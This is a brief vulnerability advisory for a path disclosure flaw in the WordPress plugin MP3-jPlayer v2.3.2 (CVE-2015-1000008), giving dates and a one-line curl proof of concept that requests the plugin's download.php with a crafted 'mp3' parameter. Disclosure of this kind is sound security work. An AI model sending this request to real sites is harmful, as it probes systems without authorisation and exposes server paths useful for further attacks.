Path Disclosure Vulnerability in wordpress plugin MP3-jPlayer v2.3.2

#898 · 2015-07-12

CVE ID(s): CVE-2015-1000008

Notified: 2015-08-06

Description:

Easy, Flexible Audio for WordPress.

Exploit:

$ curl http://www.example.com/wp-content/plugins/mp3-jplayer/download.php?mp3=.

Download: https://wordpress.org/plugins/mp3-jplayer/

URL: http://www.vapidlabs.com/advisory.php?v=149